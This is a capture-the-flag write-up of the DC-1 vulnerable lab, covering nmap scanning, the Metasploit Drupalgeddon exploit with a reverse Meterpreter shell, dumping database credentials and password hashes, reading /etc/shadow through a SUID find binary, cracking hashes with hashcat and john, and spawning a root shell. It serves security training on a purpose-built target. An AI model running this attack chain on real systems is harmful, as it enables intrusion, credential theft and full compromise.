DC-1 Walkthrough

Description

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing. It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn. To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners. There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this however, you will require root privileges. Depending on your skill level, you may be able to skip finding most of these flags and go straight for root. Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

Scanning

I scanned every port -p- and ran default scripts with -sC as usual. I use the -A switch to enable OS detection, version detection, script scanning and traceroute. Here is the scan result:

▲ ~ nmap -A -sC -p- 192.168.1.45
Nmap scan report for DC-1 (192.168.1.45)
Host is up (0.00021s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          44589/tcp  status
|_  100024  1          54361/udp  status
44589/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:DE:A5:8C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop

We have SSH, which is not vulnerable and it looks like we have a Drupal 7 CMS installation too. I tried nikto and dirb, but they didn’t pick up anything useful.
So, I went on to check out the site and searched for version numbers. I also tried admin - admin on the login panel, but no luck.

Getting access

Some Drupal sites are vulnerable to drupalgeddon, which is basically an SQL injection vulnerability disclosed back in late 2014. I fired up my metasploit console and searched for drupal.

msf5 > search drupal

Matching Modules
================

Name                                           Disclosure Date  Rank       Check  Description
----                                           ---------------  ----       -----  -----------
auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution


msf5 > use exploit/multi/http/drupal_drupageddon
msf5 exploit(multi/http/drupal_drupageddon) > show options

Module options (exploit/multi/http/drupal_drupageddon):

Name       Current Setting  Required  Description
----       ---------------  --------  -----------
Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS                      yes       The target address range or CIDR identifier
RPORT      80               yes       The target port (TCP)
SSL        false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI  /                yes       The target URI of the Drupal installation
VHOST                       no        HTTP server virtual host


Exploit target:

Id  Name
--  ----
0   Drupal 7.0 - 7.31 (form-cache PHP injection method)


msf5 exploit(multi/http/drupal_drupageddon) >

You can find more about this module on rapid7’s site: https://www.rapid7.com/db/modules/exploit/multi/http/drupal_drupageddon I set the rhosts variable and simply typed exploit.

msf5 exploit(multi/http/drupal_drupageddon) > set rhosts 192.168.1.45
rhosts => 192.168.1.45
msf5 exploit(multi/http/drupal_drupageddon) > exploit

[*] Started reverse TCP handler on 192.168.1.134:4444
[*] Sending stage (38247 bytes) to 192.168.1.45
[*] Meterpreter session 1 opened (192.168.1.134:4444 -> 192.168.1.45:38628)

meterpreter >

This was easy, right? I typed shell to conveniently investigate the files and directories on the server.

meterpreter > shell
Process 3110 created.
Channel 0 created.
ls -la
total 188
drwxr-xr-x  9 www-data www-data  4096 Feb 19 23:45 .
drwxr-xr-x 12 root     root      4096 Feb 19 23:10 ..
-rw-r--r--  1 www-data www-data   174 Nov 21  2013 .gitignore
-rw-r--r--  1 www-data www-data  5767 Nov 21  2013 .htaccess
-rw-r--r--  1 www-data www-data  1481 Nov 21  2013 COPYRIGHT.txt
-rw-r--r--  1 www-data www-data  1451 Nov 21  2013 INSTALL.mysql.txt
-rw-r--r--  1 www-data www-data  1874 Nov 21  2013 INSTALL.pgsql.txt
-rw-r--r--  1 www-data www-data  1298 Nov 21  2013 INSTALL.sqlite.txt
-rw-r--r--  1 www-data www-data 17861 Nov 21  2013 INSTALL.txt
-rwxr-xr-x  1 www-data www-data 18092 Nov  1  2013 LICENSE.txt
-rw-r--r--  1 www-data www-data  8191 Nov 21  2013 MAINTAINERS.txt
-rw-r--r--  1 www-data www-data  5376 Nov 21  2013 README.txt
-rw-r--r--  1 www-data www-data  9642 Nov 21  2013 UPGRADE.txt
-rw-r--r--  1 www-data www-data  6604 Nov 21  2013 authorize.php
-rw-r--r--  1 www-data www-data   720 Nov 21  2013 cron.php
-rw-r--r--  1 www-data www-data    52 Feb 19 23:20 flag1.txt
drwxr-xr-x  4 www-data www-data  4096 Nov 21  2013 includes
-rw-r--r--  1 www-data www-data   529 Nov 21  2013 index.php
-rw-r--r--  1 www-data www-data   703 Nov 21  2013 install.php
drwxr-xr-x  4 www-data www-data  4096 Nov 21  2013 misc
drwxr-xr-x 42 www-data www-data  4096 Nov 21  2013 modules
drwxr-xr-x  5 www-data www-data  4096 Nov 21  2013 profiles
-rw-r--r--  1 www-data www-data  1561 Nov 21  2013 robots.txt
drwxr-xr-x  2 www-data www-data  4096 Nov 21  2013 scripts
drwxr-xr-x  4 www-data www-data  4096 Nov 21  2013 sites
drwxr-xr-x  7 www-data www-data  4096 Nov 21  2013 themes
-rw-r--r--  1 www-data www-data 19941 Nov 21  2013 update.php
-rw-r--r--  1 www-data www-data  2178 Nov 21  2013 web.config
-rw-r--r--  1 www-data www-data   417 Nov 21  2013 xmlrpc.php

The first flag is right in front of us, which contained the following hint:

Every good CMS needs a config file - and so do you.

The goal was pretty clear, I had to find a juicy config file. I just freely explored the directory to see, what I can find. In the sites/default directory, there was a settings.php file.

cd sites
ls -la
total 24
drwxr-xr-x 4 www-data www-data 4096 Nov 21  2013 .
drwxr-xr-x 9 www-data www-data 4096 Feb 19 23:45 ..
-rw-r--r-- 1 www-data www-data  904 Nov 21  2013 README.txt
drwxr-xr-x 4 www-data www-data 4096 Nov 21  2013 all
dr-xr-xr-x 3 www-data www-data 4096 Feb 19 23:48 default
-rw-r--r-- 1 www-data www-data 2365 Nov 21  2013 example.sites.php
cd default
ls -la
total 52
dr-xr-xr-x 3 www-data www-data  4096 Feb 19 23:48 .
drwxr-xr-x 4 www-data www-data  4096 Nov 21  2013 ..
-rw-r--r-- 1 www-data www-data 23202 Nov 21  2013 default.settings.php
drwxrwxr-x 3 www-data www-data  4096 Feb 19 23:10 files
-r--r--r-- 1 www-data www-data 15989 Feb 19 23:48 settings.php

In the beginning of the file, there was a comment, which contained the second flag and below that I was presented with the username and password for the database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/

$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

# -- snip --

?>

Brute force and dictionary attacks aren’t the only ways to gain access (and you WILL need access). What can you do with these credentials?

Accessing the database

In order to log in to the database, we have to have a tty or pseudo-tty shell. At the moment, we have a very limited shell. Python was installed on the machine and all I had to do was:

python -c 'import pty; pty.spawn("/bin/sh")'
$ 

I had everything to log in to the mysql database. I looked at the databases and selected the drupaldb.

$ mysql -u dbuser -p
Enter password: R0ck3t

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 69
Server version: 5.5.60-0+deb7u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| drupaldb           |
+--------------------+
2 rows in set (0.00 sec)

mysql> use drupaldb;
use drupaldb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql>

Before making any queries, we have to know the table names. The result quite big, but I focused on the important one (the users table).

mysql> show tables;
+-----------------------------+
| Tables_in_drupaldb          |
+-----------------------------+
| actions                     |
| authmap                     |
| batch                       |
| block                       |
| block_custom                |
| block_node_type             |
| block_role                  |
| blocked_ips                 |
| cache                       |
| cache_block                 |
| cache_bootstrap             |
| cache_field                 |
| cache_filter                |
| cache_form                  |
| cache_image                 |
| cache_menu                  |
| cache_page                  |
| cache_path                  |
| cache_update                |
| cache_views                 |
| cache_views_data            |
| comment                     |
| ctools_css_cache            |
| ctools_object_cache         |
| date_format_locale          |
| date_format_type            |
| date_formats                |
| field_config                |
| field_config_instance       |
| field_data_body             |
| field_data_comment_body     |
| field_data_field_image      |
| field_data_field_tags       |
| field_revision_body         |
| field_revision_comment_body |
| field_revision_field_image  |
| field_revision_field_tags   |
| file_managed                |
| file_usage                  |
| filter                      |
| filter_format               |
| flood                       |
| history                     |
| image_effects               |
| image_styles                |
| menu_custom                 |
| menu_links                  |
| menu_router                 |
| node                        |
| node_access                 |
| node_comment_statistics     |
| node_revision               |
| node_type                   |
| queue                       |
| rdf_mapping                 |
| registry                    |
| registry_file               |
| role                        |
| role_permission             |
| search_dataset              |
| search_index                |
| search_node_links           |
| search_total                |
| semaphore                   |
| sequences                   |
| sessions                    |
| shortcut_set                |
| shortcut_set_users          |
| system                      |
| taxonomy_index              |
| taxonomy_term_data          |
| taxonomy_term_hierarchy     |
| taxonomy_vocabulary         |
| url_alias                   |
| users                       |
| users_roles                 |
| variable                    |
| views_display               |
| views_view                  |
| watchdog                    |
+-----------------------------+
80 rows in set (0.00 sec)

mysql>

Dumping database hashes

The ran the following query to print out every entry in that specific table. I had to cut out some columns because the result was too long.

mysql> select * from users;
+-----+-------+---------------------------------------------------------+-------------------+
| uid | name  | pass                                                    | mail              |
+-----+-------+---------------------------------------------------------+-------------------+
|   0 |       |                                                         |                   |
|   1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | admin@example.com |
|   2 | Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | fred@example.org  |
+-----+-------+---------------------------------------------------------+-------------------+
3 rows in set (0.00 sec)

Well, drupal is also known to have very secure hashes. Are they secure enough? I let my 1070 TI GPU determine that. I downloaded hashcat to my Windows PC and the rockyou.txt word list.

$ ./hashcat64.exe -m 7900 hashes.txt rockyou.txt
hashcat (v5.1.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1070 Ti, 2048/8192 MB allocatable, 19MCU

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Uses-64-Bit

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Watchdog: Temperature abort trigger set to 90c

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 2 secs


$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR:53cr3t
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Type........: Drupal7
Hash.Target......: hashes.txt
Time.Started.....: Fri Mar 08 09:19:57 2019 (7 mins, 52 secs)
Time.Estimated...: Fri Mar 08 09:27:49 2019 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    36639 H/s (2.15ms) @ Accel:128 Loops:32 Thr:64 Vec:1
Recovered........: 2/3 (66.67%) Digests, 2/3 (66.67%) Salts
Progress.........: 43033152/43033152 (100.00%)
Rejected.........: 0/43033152 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:2 Amplifier:0-1 Iteration:16352-16384
Candidates.#1....: $HEX[284d6f75746f6e] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 69c Fan: 47% Util: 96% Core:1809MHz Mem:3802MHz Bus:16

I didn’t have to wait too long for the admin’s password. The password was 53cr3t. I logged in and under the content menu, I found the third flag.

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

These hints are almost ruining the experience for me…

Find with SUID

I used the well-known LinEnum.sh script to get a better grasp of the system and possibly confirm that find command with special permissions.

$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
--2019-03-08 18:46:36--  https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.112.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.112.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45639 (45K) [text/plain]
Saving to: `LinEnum.sh'

100%[======================================>] 45,639      --.-K/s   in 0.04s

2019-03-08 18:46:37 (1.13 MB/s) - `LinEnum.sh' saved [45639/45639]

$ chmod +x LinEnum.sh
$ ./LinEnum.sh

The interesting part from the output was this:

[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find

SETUID and SETGID are Unix access rights flags that allow users to run an executable with the permissions of the executable’s owner or group respectively and to change behavior in directories. They are often used to allow users on a computer system to run programs with temporarily elevated privileges in order to perform a specific task.

In this case, we don’t have to be root to execute commands as root. The hint or flag said that it helps to “find” the passwd, so here is how I printed out the passwd file:

find / -name passwd -exec cat {} \;
#
# The PAM configuration file for the Shadow `passwd' service
#

@include common-password

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash

Cracking another hash

As you can see, there is a flag4 user. I moved on to get the shadow file, too.

find / -name shadow -exec cat {} \;
root:$6$rhe3rFqk$NwHzwJ4H7abOFOM67.Avwl3j8c05rDVPqTIvWg8k3yWe99pivz/96.K7IqPlbBCmzpokVmn13ZhVyQGrQ4phd/:17955:0:99999:7:::
daemon:*:17946:0:99999:7:::
bin:*:17946:0:99999:7:::
sys:*:17946:0:99999:7:::
sync:*:17946:0:99999:7:::
games:*:17946:0:99999:7:::
man:*:17946:0:99999:7:::
lp:*:17946:0:99999:7:::
mail:*:17946:0:99999:7:::
news:*:17946:0:99999:7:::
uucp:*:17946:0:99999:7:::
proxy:*:17946:0:99999:7:::
www-data:*:17946:0:99999:7:::
backup:*:17946:0:99999:7:::
list:*:17946:0:99999:7:::
irc:*:17946:0:99999:7:::
gnats:*:17946:0:99999:7:::
nobody:*:17946:0:99999:7:::
libuuid:!:17946:0:99999:7:::
Debian-exim:!:17946:0:99999:7:::
statd:*:17946:0:99999:7:::
messagebus:*:17946:0:99999:7:::
sshd:*:17946:0:99999:7:::
mysql:!:17946:0:99999:7:::
flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWCKxVW80:17946:0:99999:7:::

I copied this information into a text file and ran john on it to crack the hashes. I have successfully cracked the flag4 user password.

▲ ~/Downloads john shadow.txt --show
flag4:orange:17946:0:99999:7:::

1 password hash cracked, 1 left

Access via SSH

I managed to log in via SSH using these credentials and read the fourth flag in the home directory.

▲ ~/Downloads ssh flag4@192.168.1.45
flag4@192.168.1.45's password:
Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar  7 08:52:13 2019 from kali
flag4@DC-1:~$ ls -la
total 28
drwxr-xr-x 2 flag4 flag4 4096 Mar  7 18:26 .
drwxr-xr-x 3 root  root  4096 Feb 19 23:51 ..
-rw------- 1 flag4 flag4  600 Mar  7 19:24 .bash_history
-rw-r--r-- 1 flag4 flag4  220 Feb 19 23:25 .bash_logout
-rw-r--r-- 1 flag4 flag4 3392 Feb 19 23:25 .bashrc
-rw-r--r-- 1 flag4 flag4  125 Feb 19 23:28 flag4.txt
-rw-r--r-- 1 flag4 flag4  675 Feb 19 23:25 .profile
flag4@DC-1:~$ cat flag4.txt
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?
flag4@DC-1:~$

Can you use this same method to find or access the flag in root? Probably. But perhaps it’s not that easy. Or maybe it is?

Popping a root shell

Since I found the find command with root SUID set I could easily read the final flag and consider this challenge done. I wanted to take these extra steps to fully compromise the system and not just go for root access immediately, but this time has come.

flag4@DC-1:~$ find . -exec '/bin/sh' \;
# whoami
root

Finally, I went to the root directory to acquire the final flag, which was:

# cd /root
# ls
thefinalflag.txt
# cat thefinalflag.txt
Well done!!!!

Hopefully, you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

Before you go

If you found this article helpful, please share to help others with similar interest find it! + Feedback and donations are always welcome!